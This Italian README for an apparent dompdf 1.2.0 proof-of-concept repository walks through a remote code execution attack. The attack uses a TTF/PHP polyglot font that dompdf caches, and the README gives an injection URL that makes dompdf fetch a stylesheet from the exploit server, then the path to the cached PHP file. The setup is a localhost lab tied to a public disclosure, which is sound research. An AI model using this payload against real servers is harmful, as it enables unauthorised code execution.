Exploit RCE per dompdf

Questo repository contiene un'applicazione demo vulnerabile che utilizza dompdf 1.2.0 e un exploit che consente l'esecuzione remota di codice tramite un file poliglotta ttf+php.

Per maggiori dettagli, visita https://positive.security/blog/dompdf-rce

Istruzioni

1. Esegui l'applicazione demo

$ cd application
$ php -S localhost:9000

2. Esegui il server dell'exploit

$ cd exploit
$ php -S localhost:9001

3. Attiva l'exploit

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

4. Accedi al file "font" php memorizzato nella cache ed esegui phpinfo()

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

Nota: Se stai utilizzando domini o porte diversi, modifica exploit/exploit.css di conseguenza e controlla application/dompdf/lib/fonts per il nome completo del file font.